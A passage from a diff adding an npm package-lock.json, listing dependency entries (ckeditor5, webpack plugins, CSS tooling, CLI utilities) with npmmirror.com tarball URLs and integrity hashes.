"https://registry.npmmirror.com/case-sensitive-paths-webpack-plugin/-/case-sensitive-paths-webpack-plugin-2.4.0.tgz", + "integrity": "sha512-roIFONhcxog0JSSWbvVAh3OocukmSgpqOH6YpMkCvav/ySIV3JKg4Dc8vYtQjYi/UxpNE36r/9v+VqTQqgkYmw==", + "dev": true, + "engines": { + "node": ">=4" + } + }, + "node_modules/chalk": { + "version": "3.0.0", + "resolved": "https://registry.npmmirror.com/chalk/-/chalk-3.0.0.tgz", + "integrity": "sha512-4D3B6Wf41KOYRFdszmDqMCGq5VV/uMAB273JILmO+3jAlh8X4qDtdtgCR3fxtbLEMzSx22QdhnDcJvu2u1fVwg==", + "dev": true, + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/chokidar": { + "version": "3.6.0", + "resolved": "https://registry.npmmirror.com/chokidar/-/chokidar-3.6.0.tgz", + "integrity": "sha512-7VT13fmjotKpGipCW9JEQAusEPE+Ei8nl6/g4FBAmIm0GOOLMua9NDDo/DWp0ZAxCr3cPq5ZpBqmPAQgDda2Pw==", + "dev": true, + "dependencies": { + "anymatch": "~3.1.2", + "braces": "~3.0.2", + "glob-parent": "~5.1.2", + "is-binary-path": "~2.1.0", + "is-glob": "~4.0.1", + "normalize-path": "~3.0.0", + "readdirp": "~3.6.0" + }, + "engines": { + "node": ">= 8.10.0" + }, + "funding": { + "url": "https://paulmillr.com/funding/" + }, + "optionalDependencies": { + "fsevents": "~2.3.2" + } + }, + "node_modules/chokidar/node_modules/glob-parent": { + "version": "5.1.2", + "resolved": "https://registry.npmmirror.com/glob-parent/-/glob-parent-5.1.2.tgz", + "integrity": "sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow==", + "dev": true, + "dependencies": { + "is-glob": "^4.0.1" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/chrome-trace-event": { + "version": "1.0.4", + "resolved": "https://registry.npmmirror.com/chrome-trace-event/-/chrome-trace-event-1.0.4.tgz", + "integrity": "sha512-rNjApaLzuwaOTjCiT8lSDdGN1APCiqkChLMJxJPWLunPAt5fy8xgU9/jNOchV84wfIxrA0lRQB7oCT8jrn/wrQ==", + "dev": true, + "engines": { + "node": ">=6.0" + } + }, + "node_modules/ci-info": { + "version": "1.6.0", + "resolved": "https://registry.npmmirror.com/ci-info/-/ci-info-1.6.0.tgz", + "integrity": "sha512-vsGdkwSCDpWmP80ncATX7iea5DWQemg1UgCW5J8tqjU3lYw4FBYuj89J0CTVomA7BEfvSZd84GmHko+MxFQU2A==", + "dev": true + }, + "node_modules/ckeditor5": { + "version": "43.2.0", + "resolved": "https://registry.npmmirror.com/ckeditor5/-/ckeditor5-43.2.0.tgz", + "integrity": "sha512-wtW2TICJiXoOPK2K4L1oiO+HWBS6ifVQW2k80DoQI7cDranUC0FKMNirYZZXNdK0SYH87RSLZR8hHAAdbbOPBA==", + "dependencies": { + "@ckeditor/ckeditor5-adapter-ckfinder": "43.2.0", + "@ckeditor/ckeditor5-alignment": "43.2.0", + "@ckeditor/ckeditor5-autoformat": "43.2.0", + "@ckeditor/ckeditor5-autosave": "43.2.0", + "@ckeditor/ckeditor5-basic-styles": "43.2.0", + "@ckeditor/ckeditor5-block-quote": "43.2.0", + "@ckeditor/ckeditor5-ckbox": "43.2.0", + "@ckeditor/ckeditor5-ckfinder": "43.2.0", + "@ckeditor/ckeditor5-clipboard": "43.2.0", + "@ckeditor/ckeditor5-cloud-services": "43.2.0", + "@ckeditor/ckeditor5-code-block": "43.2.0", + "@ckeditor/ckeditor5-core": "43.2.0", + "@ckeditor/ckeditor5-easy-image": "43.2.0", + "@ckeditor/ckeditor5-editor-balloon": "43.2.0", + "@ckeditor/ckeditor5-editor-classic": "43.2.0", + "@ckeditor/ckeditor5-editor-decoupled": "43.2.0", + "@ckeditor/ckeditor5-editor-inline": "43.2.0", + "@ckeditor/ckeditor5-editor-multi-root": "43.2.0", + "@ckeditor/ckeditor5-engine": "43.2.0", + "@ckeditor/ckeditor5-enter": "43.2.0", + "@ckeditor/ckeditor5-essentials": "43.2.0", + "@ckeditor/ckeditor5-find-and-replace": "43.2.0", + "@ckeditor/ckeditor5-font": "43.2.0", + "@ckeditor/ckeditor5-heading": "43.2.0", + "@ckeditor/ckeditor5-highlight": "43.2.0", + "@ckeditor/ckeditor5-horizontal-line": "43.2.0", + "@ckeditor/ckeditor5-html-embed": "43.2.0", + "@ckeditor/ckeditor5-html-support": "43.2.0", + "@ckeditor/ckeditor5-image": "43.2.0", + "@ckeditor/ckeditor5-indent": "43.2.0", + "@ckeditor/ckeditor5-language": "43.2.0", + "@ckeditor/ckeditor5-link": "43.2.0", + "@ckeditor/ckeditor5-list": "43.2.0", + "@ckeditor/ckeditor5-markdown-gfm": "43.2.0", + "@ckeditor/ckeditor5-media-embed": "43.2.0", + "@ckeditor/ckeditor5-mention": "43.2.0", + "@ckeditor/ckeditor5-minimap": "43.2.0", + "@ckeditor/ckeditor5-page-break": "43.2.0", + "@ckeditor/ckeditor5-paragraph": "43.2.0", + "@ckeditor/ckeditor5-paste-from-office": "43.2.0", + "@ckeditor/ckeditor5-remove-format": "43.2.0", + "@ckeditor/ckeditor5-restricted-editing": "43.2.0", + "@ckeditor/ckeditor5-select-all": "43.2.0", + "@ckeditor/ckeditor5-show-blocks": "43.2.0", + "@ckeditor/ckeditor5-source-editing": "43.2.0", + "@ckeditor/ckeditor5-special-characters": "43.2.0", + "@ckeditor/ckeditor5-style": "43.2.0", + "@ckeditor/ckeditor5-table": "43.2.0", + "@ckeditor/ckeditor5-theme-lark": "43.2.0", + "@ckeditor/ckeditor5-typing": "43.2.0", + "@ckeditor/ckeditor5-ui": "43.2.0", + "@ckeditor/ckeditor5-undo": "43.2.0", + "@ckeditor/ckeditor5-upload": "43.2.0", + "@ckeditor/ckeditor5-utils": "43.2.0", + "@ckeditor/ckeditor5-watchdog": "43.2.0", + "@ckeditor/ckeditor5-widget": "43.2.0", + "@ckeditor/ckeditor5-word-count": "43.2.0" + } + }, + "node_modules/clean-css": { + "version": "5.3.3", + "resolved": "https://registry.npmmirror.com/clean-css/-/clean-css-5.3.3.tgz", + "integrity": "sha512-D5J+kHaVb/wKSFcyyV75uCn8fiY4sV38XJoe4CUyGQ+mOU/fMVYUdH1hJC+CJQ5uY3EnW27SbJYS4X8BiLrAFg==", + "dev": true, + "dependencies": { + "source-map": "~0.6.0" + }, + "engines": { + "node": ">= 10.0" + } + }, + "node_modules/cli-cursor": { + "version": "3.1.0", + "resolved": "https://registry.npmmirror.com/cli-cursor/-/cli-cursor-3.1.0.tgz", + "integrity": "sha512-I/zHAwsKf9FqGoXM4WWRACob9+SNukZTd94DWF57E4toouRulbCxcUh6RKUEOQlYTHJnzkPMySvPNaaSLNfLZw==", + "dev": true, + "dependencies": { + "restore-cursor": "^3.1.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/cli-highlight": { + "version": "2.1.11", + "resolved": "https://registry.npmmirror.com/cli-highlight/-/cli-highlight-2.1.11.tgz", + "integrity": "sha512-9KDcoEVwyUXrjcJNvHD0NFc/hiwe/WPVYIleQh2O1N2Zro5gWJZ/K+3DGn8w8P/F6FxOgzyC5bxDyHIgCSPhGg==", + "dev": true, + "dependencies": { + "chalk": "^4.0.0", + "highlight.js": "^10.7.1", + "mz": "^2.4.0", + "parse5": "^5.1.1", + "parse5-htmlparser2-tree-adapter": "^6.0.0", + "yargs": "^16.0.0" + }, + "bin": { + "highlight": "bin/highlight" + }, + "engines": { + "node": ">=8.0.0", + "npm": ">=5.0.0" + } + }, + "node_modules/cli-highlight/node_modules/chalk": { + "version": "4.1.2", + "resolved": "https://registry.npmmirror.com/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "dev": true, + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/chalk?sponsor=1" + } + }, + "node_modules/cli-spinners": { + "version": "2.9.2", + "resolved": "https://registry.npmmirror.com/cli-spinners/-/cli-spinners-2.9.2.tgz", + "integrity": "sha512-ywqV+5MmyL4E7ybXgKys4DugZbX0FC6LnwrhjuykIjnK9k8OQacQ7axGKnjDXWNhns0xot3bZI5h55H8yo9cJg==", + "dev": true, + "engines": { + "node": ">=6" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/clipboardy": { + "version": "2.3.0", + "resolved": "https://registry.npmmirror.com/clipboardy/-/clipboardy-2.3.0.tgz", + "integrity": "sha512-mKhiIL2DrQIsuXMgBgnfEHOZOryC7kY7YO//TN6c63wlEm3NG5tz+YgY5rVi29KCmq/QQjKYvM7a19+MDOTHOQ==", + "dev": true, + "dependencies": { + "arch": "^2.1.1", + "execa": "^1.0.0", + "is-wsl": "^2.1.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/cliui": { + "version": "7.0.4", + "resolved": "https://registry.npmmirror.com/cliui/-/cliui-7.0.4.tgz", + "integrity": "sha512-OcRE68cOsVMXp1Yvonl/fzkQOyjLSu/8bhPDfQt0e0/Eb283TKP20Fs2MqoPsr9SwA595rRCA+QMzYc9nBP+JQ==", + "dev": true, + "dependencies": { + "string-width": "^4.2.0", + "strip-ansi": "^6.0.0", + "wrap-ansi": "^7.0.0" + } + }, + "node_modules/clone": { + "version": "1.0.4", + "resolved": "https://registry.npmmirror.com/clone/-/clone-1.0.4.tgz", + "integrity": "sha512-JQHZ2QMW6l3aH/j6xCqQThY/9OH4D/9ls34cgkUBiEeocRTU04tHfKPBsUK1PqZCUQM7GiA0IIXJSuXHI64Kbg==", + "dev": true, + "engines": { + "node": ">=0.8" + } + }, + "node_modules/clone-deep": { + "version": "4.0.1", + "resolved": "https://registry.npmmirror.com/clone-deep/-/clone-deep-4.0.1.tgz", + "integrity": "sha512-neHB9xuzh/wk0dIHweyAXv2aPGZIVk3pLMe+/RNzINf17fe0OG96QroktYAUm7SM1PBnzTabaLboqqxDyMU+SQ==", + "dev": true, + "dependencies": { + "is-plain-object": "^2.0.4", + "kind-of": "^6.0.2", + "shallow-clone": "^3.0.0" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmmirror.com/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "dependencies": { + "color-name": "~1.1.4" + }, + "engines": { + "node": ">=7.0.0" + } + }, + "node_modules/color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmmirror.com/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==" + }, + "node_modules/color-parse": { + "version": "1.4.2", + "resolved": "https://registry.npmmirror.com/color-parse/-/color-parse-1.4.2.tgz", + "integrity": "sha512-RI7s49/8yqDj3fECFZjUI1Yi0z/Gq1py43oNJivAIIDSyJiOZLfYCRQEgn8HEVAj++PcRe8AnL2XF0fRJ3BTnA==", + "dependencies": { + "color-name": "^1.0.0" + } + }, + "node_modules/colord": { + "version": "2.9.3", + "resolved": "https://registry.npmmirror.com/colord/-/colord-2.9.3.tgz", + "integrity": "sha512-jeC1axXpnb0/2nn/Y1LPuLdgXBLH7aDcHu4KEKfqw3CUhX7ZpfBSlPKyqXE6btIgEzfWtrX3/tyBCaCvXvMkOw==", + "dev": true + }, + "node_modules/colorette": { + "version": "2.0.20", + "resolved": "https://registry.npmmirror.com/colorette/-/colorette-2.0.20.tgz", + "integrity": "sha512-IfEDxwoWIjkeXL1eXcDiow4UbKjhLdq6/EuSVR9GMN7KVH3r9gQ83e73hsz1Nd1T3ijd5xv1wcWRYO+D6kCI2w==", + "dev": true + }, + "node_modules/commander": { + "version": "8.3.0", + "resolved": "https://registry.npmmirror.com/commander/-/commander-8.3.0.tgz", + "integrity": "sha512-OkTL9umf+He2DZkUq8f8J9of7yL6RJKI24dVITBmNfZBmri9zYZQrKkuXiKhyfPSu8tUhnVBB1iKXevvnlR4Ww==", + "dev": true, + "engines": { + "node": ">= 12" + } + }, + "node_modules/commondir": { + "version": "1.0.1", + "resolved": "https://registry.npmmirror.com/commondir/-/commondir-1.0.1.tgz", + "integrity": "sha512-W9pAhw0ja1Edb5GVdIF1mjZw/ASI0AlShXM83UUGe2DVr5TdAPEA1OA8m/g8zWp9x6On7gqufY+FatDbC3MDQg==", + "dev": true + }, + "node_modules/compressible": { + "version": "2.0.18", + "resolved": "https://registry.npmmirror.com/compressible/-/compressible-2.0.18.tgz", + "integrity": "sha512-AF3r7P5dWxL8MxyITRMlORQNaOA2IkAFaTr4k7BUumjPtRpGDTZpl0Pb1XCO6JeDCBdp126Cgs9sMxqSjgYyRg==", + "dev": true, + "dependencies": { + "mime-db": ">= 1.43.0 < 2" + }, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/compression": { + "version": "1.7.4", + "resolved": "https://registry.npmmirror.com/compression/-/compression-1.7.4.tgz", + "integrity": "sha512-jaSIDzP9pZVS4ZfQ+TzvtiWhdpFhE2RDHz8QJkpX9SIpLq88VueF5jJw6t+6CUQcAoA6t+x89MLrWAqpfDE8iQ==", + "dev": true, + "dependencies": { + "accepts": "~1.3.5", + "bytes": "3.0.0", + "compressible": "~2.0.16", + "debug": "2.6.9", + "on-headers": "~1.0.2", + "safe-buffer": "5.1.2", + "vary": "~1.1.2" + }, + "engines": { + "node": ">= 0.8.0" + } + }, + "node_modules/compression/node_modules/debug": { + "version": "2.6.9", + "resolved": "https://registry.npmmirror.com/debug/-/debug-2.6.9.tgz", + "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", + "dev": true, + "dependencies": { + "ms": "2.0.0" + } + }, + "node_modules/compression/node_modules/ms": { + "version": "2.0.0", + "resolved": "https://registry.npmmirror.com/ms/-/ms-2.0.0.tgz", + "integrity": "sha512-Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A==", + "dev": true + }, + "node_modules/compression/node_modules/safe-buffer": { + "version": "5.1.2", + "resolved": "https://registry.npmmirror.com/safe-buffer/-/safe-buffer-5.1.2.tgz", + "integrity": "sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g==", + "dev": true + }, + "node_modules/concat-map": { + "version": "0.0.1", + "resolved": "https://registry.npmmirror.com/concat-map/-/concat-map-0.0.1.tgz", + "integrity": "sha512-/Srv4dswyQNBfohGpz9o6Yb3Gz3SrUDqBH5rTuhGR7ahtlbYKnVxw2bCFMRljaA7EXHaXZ8wsHdodFvbkhKmqg==", + "dev": true + }, + "node_modules/confbox": { + "version": "0.1.8", + "resolved": "https://registry.npmmirror.com/confbox/-/confbox-0.1.8.tgz", + "integrity": "sha512-RMtmw0iFkeR4YV+fUOSucriAQNb9g8zFR52MWCtl+cCZOFRNL6zeB395vPzFhEjjn4fMxXudmELnl/KF/WrK6w==", + "dev": true + }, + "node_modules/connect-history-api-fallback": { + "version": "2.0.0", + "resolved": "https://registry.npmmirror.com/connect-history-api-fallback/-/connect-history-api-fallback-2.0.0.tgz", + "integrity": "sha512-U73+6lQFmfiNPrYbXqr6kZ1i1wiRqXnp2nhMsINseWXO8lDau0LGEffJ8kQi4EjLZympVgRdvqjAgiZ1tgzDDA==", + "dev": true, + "engines": { + "node": ">=0.8" + } + }, + "node_modules/consolidate": { + "version": "0.15.1", + "resolved": "https://registry.npmmirror.com/consolidate/-/consolidate-0.15.1.tgz", + "integrity": "sha512-DW46nrsMJgy9kqAbPt5rKaCr7uFtpo4mSUvLHIUbJEjm0vo+aY5QLwBUq3FK4tRnJr/X0Psc0C4jf/h+HtXSMw==", + "deprecated": "Please upgrade to consolidate v1.0.0+ as it has been modernized with several long-awaited fixes implemented. Maintenance is supported by Forward Email at https://forwardemail.net ; follow/watch https://github.com/ladjs/consolidate for updates and release changelog", + "dev": true, + "dependencies": { + "bluebird": "^3.1.1" + }, + "engines": { + "node": ">= 0.10.0" + } + }, + "node_modules/content-disposition": { + "version": "0.5.4", + "resolved": "https://registry.npmmirror.com/content-disposition/-/content-disposition-0.5.4.tgz", + "integrity": "sha512-FveZTNuGw04cxlAiWbzi6zTAL/lhehaWbTtgluJh4/E95DqMwTmha3KZN1aAWA8cFIhHzMZUvLevkw5Rqk+tSQ==", + "dev": true, + "dependencies": { + "safe-buffer": "5.2.1" + }, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/content-type": { + "version": "1.0.5", + "resolved": "https://registry.npmmirror.com/content-type/-/content-type-1.0.5.tgz", + "integrity": "sha512-nTjqfcBFEipKdXCv4YDQWCfmcLZKm81ldF0pAopTvyrFGVbcR6P/VAAd5G7N+0tTr8QqiU0tFadD6FK4NtJwOA==", + "dev": true, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/convert-source-map": { + "version": "2.0.0", + "resolved": "https://registry.npmmirror.com/convert-source-map/-/convert-source-map-2.0.0.tgz", + "integrity": "sha512-Kvp459HrV2FEJ1CAsi1Ku+MY3kasH19TFykTz2xWmMeq6bk2NU3XXvfJ+Q61m0xktWwt+1HSYf3JZsTms3aRJg==", + "dev": true + }, + "node_modules/cookie": { + "version": "0.7.1", + "resolved": "https://registry.npmmirror.com/cookie/-/cookie-0.7.1.tgz", + "integrity": "sha512-6DnInpx7SJ2AK3+CTUE/ZM0vWTUboZCegxhC2xiIydHR9jNuTAASBrfEpHhiGOZw/nX51bHt6YQl8jsGo4y/0w==", + "dev": true, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/cookie-signature": { + "version": "1.0.6", + "resolved": "https://registry.npmmirror.com/cookie-signature/-/cookie-signature-1.0.6.tgz", + "integrity": "sha512-QADzlaHc8icV8I7vbaJXJwod9HWYp8uCqf1xa4OfNu1T7JVxQIrUgOWtHdNDtPiywmFbiS12VjotIXLrKM3orQ==", + "dev": true + }, + "node_modules/copy-webpack-plugin": { + "version": "9.1.0", + "resolved": "https://registry.npmmirror.com/copy-webpack-plugin/-/copy-webpack-plugin-9.1.0.tgz", + "integrity": "sha512-rxnR7PaGigJzhqETHGmAcxKnLZSR5u1Y3/bcIv/1FnqXedcL/E2ewK7ZCNrArJKCiSv8yVXhTqetJh8inDvfsA==", + "dev": true, + "dependencies": { + "fast-glob": "^3.2.7", + "glob-parent": "^6.0.1", + "globby": "^11.0.3", + "normalize-path": "^3.0.0", + "schema-utils": "^3.1.1", + "serialize-javascript": "^6.0.0" + }, + "engines": { + "node": ">= 12.13.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/webpack" + }, + "peerDependencies": { + "webpack": "^5.1.0" + } + }, + "node_modules/copy-webpack-plugin/node_modules/schema-utils": { + "version": "3.3.0", + "resolved": "https://registry.npmmirror.com/schema-utils/-/schema-utils-3.3.0.tgz", + "integrity": "sha512-pN/yOAvcC+5rQ5nERGuwrjLlYvLTbCibnZ1I7B1LaiAz9BRBlE9GMgE/eqV30P7aJQUf7Ddimy/RsbYO/GrVGg==", + "dev": true, + "dependencies": { + "@types/json-schema": "^7.0.8", + "ajv": "^6.12.5", + "ajv-keywords": "^3.5.2" + }, + "engines": { + "node": ">= 10.13.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/webpack" + } + }, + "node_modules/core-js": { + "version": "3.38.1", + "resolved": "https://registry.npmmirror.com/core-js/-/core-js-3.38.1.tgz", + "integrity": "sha512-OP35aUorbU3Zvlx7pjsFdu1rGNnD4pgw/CWoYzRY3t2EzoVT7shKHY1dlAy3f41cGIO7ZDPQimhGFTlEYkG/Hw==", + "hasInstallScript": true, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/core-js" + } + }, + "node_modules/core-js-compat": { + "version": "3.38.1", + "resolved": "https://registry.npmmirror.com/core-js-compat/-/core-js-compat-3.38.1.tgz", + "integrity": "sha512-JRH6gfXxGmrzF3tZ57lFx97YARxCXPaMzPo6jELZhv88pBH5VXpQ+y0znKGlFnzuaihqhLbefxSJxWJMPtfDzw==", + "dev": true, + "dependencies": { + "browserslist": "^4.23.3" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/core-js" + } + }, + "node_modules/core-util-is": { + "version": "1.0.3", + "resolved": "https://registry.npmmirror.com/core-util-is/-/core-util-is-1.0.3.tgz", + "integrity": "sha512-ZQBvi1DcpJ4GDqanjucZ2Hj3wEO5pZDS89BWbkcrvdxksJorwUDDZamX9ldFkp9aw2lmBDLgkObEA4DWNJ9FYQ==" + }, + "node_modules/cosmiconfig": { + "version": "7.1.0", + "resolved": "https://registry.npmmirror.com/cosmiconfig/-/cosmiconfig-7.1.0.tgz", + "integrity": "sha512-AdmX6xUzdNASswsFtmwSt7Vj8po9IuqXm0UXz7QKPuEUmPB4XyjGfaAr2PSuELMwkRMVH1EpIkX5bTZGRB3eCA==", + "dev": true, + "dependencies": { + "@types/parse-json": "^4.0.0", + "import-fresh": "^3.2.1", + "parse-json": "^5.0.0", + "path-type": "^4.0.0", + "yaml": "^1.10.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/cross-spawn": { + "version": "6.0.5", + "resolved": "https://registry.npmmirror.com/cross-spawn/-/cross-spawn-6.0.5.tgz", + "integrity": "sha512-eTVLrBSt7fjbDygz805pMnstIs2VTBNkRm0qxZd+M7A5XDdxVRWO5MxGBXZhjY4cqLYLdtrGqRf8mBPmzwSpWQ==", + "dev": true, + "dependencies": { + "nice-try": "^1.0.4", + "path-key": "^2.0.1", + "semver": "^5.5.0", + "shebang-command": "^1.2.0", + "which": "^1.2.9" + }, + "engines": { + "node": ">=4.8" + } + }, + "node_modules/cross-spawn/node_modules/semver": { + "version": "5.7.2", + "resolved": "https://registry.npmmirror.com/semver/-/semver-5.7.2.tgz", + "integrity": "sha512-cBznnQ9KjJqU67B52RMC65CMarK2600WFnbkcaiwWq3xy/5haFJlshgnpjovMVJ+Hff49d8GEn0b87C5pDQ10g==", + "dev": true, + "bin": { + "semver": "bin/semver" + } + }, + "node_modules/css-declaration-sorter": { + "version": "6.4.1", + "resolved": "https://registry.npmmirror.com/css-declaration-sorter/-/css-declaration-sorter-6.4.1.tgz", + "integrity": "sha512-rtdthzxKuyq6IzqX6jEcIzQF/YqccluefyCYheovBOLhFT/drQA9zj/UbRAa9J7C0o6EG6u3E6g+vKkay7/k3g==", + "dev": true, + "engines": { + "node": "^10 || ^12 || >=14" + }, + "peerDependencies": { + "postcss": "^8.0.9" + } + }, + "node_modules/css-loader": { + "version": "6.11.0", + "resolved": "https://registry.npmmirror.com/css-loader/-/css-loader-6.11.0.tgz", + "integrity": "sha512-CTJ+AEQJjq5NzLga5pE39qdiSV56F8ywCIsqNIRF0r7BDgWsN25aazToqAFg7ZrtA/U016xudB3ffgweORxX7g==", + "dev": true, + "dependencies": { + "icss-utils": "^5.1.0", + "postcss": "^8.4.33", + "postcss-modules-extract-imports": "^3.1.0", + "postcss-modules-local-by-default": "^4.0.5", + "postcss-modules-scope": "^3.2.0", + "postcss-modules-values": "^4.0.0", + "postcss-value-parser": "^4.2.0", + "semver": "^7.5.4" + }, + "engines": { + "node": ">= 12.13.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/webpack" + }, + "peerDependencies": { + "@rspack/core": "0.x || 1.x", + "webpack": "^5.0.0" + }, + "peerDependenciesMeta": { + "@rspack/core": { + "optional": true + }, + "webpack": { + "optional": true + } + } + }, + "node_modules/css-loader/node_modules/semver": { + "version": "7.6.3", + "resolved": "https://registry.npmmirror.com/semver/-/semver-7.6.3.tgz", + "integrity": "sha512-oVekP1cKtI+CTDvHWYFUcMtsK/00wmAEfyqKfNdARm8u1wNVhSgaX7A8d4UuIlUI5e84iEwOhs7ZPYRmzU9U6A==", + "dev": true, + "bin": { + "semver": "bin/semver.js" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/css-minimizer-webpack-plugin": { + "version": "3.4.1", + "resolved": "https://registry.npmmirror.com/css-minimizer-webpack-plugin/-/css-minimizer-webpack-plugin-3.4.1.tgz", + "integrity": "sha512-1u6D71zeIfgngN2XNRJefc/hY7Ybsxd74Jm4qngIXyUEk7fss3VUzuHxLAq/R8NAba4QU9OUSaMZlbpRc7bM4Q==", + "dev": true, + "dependencies": { + "cssnano": "^5.0.6", + "jest-worker": "^27.0.2", + "postcss": "^8.3.5", + "schema-utils": "^4.0.0", + "serialize-javascript": "^6.0.0", + "source-map": "^0.6.1" + }, + "engines": { + "node": ">= 12.13.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/webpack" + }, + "peerDependencies": { + "webpack": "^5.0.0" + }, + "peerDependenciesMeta": { + "@parcel/css": { + "optional": true + }, + "clean-css": { + "optional": true + }, + "csso": { + "optional": true + }, + "esbuild": { + "optional": true + } + } + }, + "node_modules/css-minimizer-webpack-plugin/node_modules/ajv": { + "version": "8.17.1", + "resolved": "https://registry.npmmirror.com/ajv/-/ajv-8.17.1.tgz", + "integrity": "sha512-B/gBuNg5SiMTrPkC+A2+cW0RszwxYmn6VYxB/inlBStS5nx6xHIt/ehKRhIMhqusl7a8LjQoZnjCs5vhwxOQ1g==", + "dev": true, + "dependencies": { + "fast-deep-equal": "^3.1.3", + "fast-uri": "^3.0.1", + "json-schema-traverse": "^1.0.0", + "require-from-string": "^2.0.2" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/epoberezkin" + } + }, + "node_modules/css-minimizer-webpack-plugin/node_modules/ajv-keywords": { + "version": "5.1.0", + "resolved": "https://registry.npmmirror.com/ajv-keywords/-/ajv-keywords-5.1.0.tgz", + "integrity": "sha512-YCS/JNFAUyr5vAuhk1DWm1CBxRHW9LbJ2ozWeemrIqpbsqKjHVxYPyi5GC0rjZIT5JxJ3virVTS8wk4i/Z+krw==", + "dev": true, + "dependencies": { + "fast-deep-equal": "^3.1.3" + }, + "peerDependencies": { + "ajv": "^8.8.2" + } + }, + "node_modules/css-minimizer-webpack-plugin/node_modules/json-schema-traverse": { + "version": "1.0.0", + "resolved": "https://registry.npmmirror.com/json-schema-traverse/-/json-schema-traverse-1.0.0.tgz", + "integrity": "sha512-NM8/P9n3XjXhIZn1lLhkFaACTOURQXjWhV4BA/RnOv8xvgqtqpAX9IO4mRQxSx1Rlo4tqzeqb0sOlruaOy3dug==", + "dev": true + }, + "node_modules/css-minimizer-webpack-plugin/node_modules/schema-utils": { + "version": "4.2.0", + "resolved": "https://registry.npmmirror.com/schema-utils/-/schema-utils-4.2.0.tgz", + "integrity": "sha512-L0jRsrPpjdckP3oPug3/VxNKt2trR8TcabrM6FOAAlvC/9Phcmm+cuAgTlxBqdBR1WJx7Naj9WHw+aOmheSVbw==", + "dev": true, + "dependencies": { + "@types/json-schema": "^7.0.9", + "ajv": "^8.9.0", + "ajv-formats": "^2.1.1", + "ajv-keywords": "^5.1.0" + }, + "engines": { + "node": ">= 12.13.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/webpack" + } + }, + "node_modules/css-select": { + "version": "4.3.0", + "resolved": "https://registry.npmmirror.com/css-select/-/css-select-4.3.0.tgz", + "integrity": "sha512-wPpOYtnsVontu2mODhA19JrqWxNsfdatRKd64kmpRbQgh1KtItko5sTnEpPdpSaJszTOhEMlF/RPz28qj4HqhQ==", + "dev": true, + "dependencies": { + "boolbase": "^1.0.0", + "css-what": "^6.0.1", + "domhandler": "^4.3.1", + "domutils": "^2.8.0", + "nth-check": "^2.0.1" + }, + "funding": { + "url": "https://github.com/sponsors/fb55" + } + }, + "node_modules/css-tree": { + "version": "1.1.3", + "resolved": "https://registry.npmmirror.com/css-tree/-/css-tree-1.1.3.tgz", + "integrity": "sha512-tRpdppF7TRazZrjJ6v3stzv93qxRcSsFmW6cX0Zm2NVKpxE1WV1HblnghVv9TreireHkqI/VDEsfolRF1p6y7Q==", + "dev": true, + "dependencies": { + "mdn-data": "2.0.14", + "source-map": "^0.6.1" + }, + "engines": { + "node": ">=8.0.0" + } + }, + "node_modules/css-what": { + "version": "6.1.0", + "resolved": "https://registry.npmmirror.com/css-what/-/css-what-6.1.0.tgz", + "integrity": "sha512-HTUrgRJ7r4dsZKU6GjmpfRK1O76h97Z8MfS1G0FozR+oF2kG6Vfe8JE6zwrkbxigziPHinCJ+gCPjA9EaBDtRw==", + "dev": true, + "engines": { + "node": ">= 6" + }, + "funding": { + "url": "https://github.com/sponsors/fb55" + } + }, + "node_modules/cssesc": { + "version": "3.0.0", + "resolved": "https://registry.npmmirror.com/cssesc/-/cssesc-3.0.0.tgz", + "integrity": "sha512-/Tb/JcjK111nNScGob5MNtsntNM1aCNUDipB/TkwZFhyDrrE47SOx/18wF2bbjgc3ZzCSKW1T5nt5EbFoAz/Vg==", + "dev": true, + "bin": { + "cssesc": "bin/cssesc" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/cssnano": { + "version": "5.1.15", + "resolved": 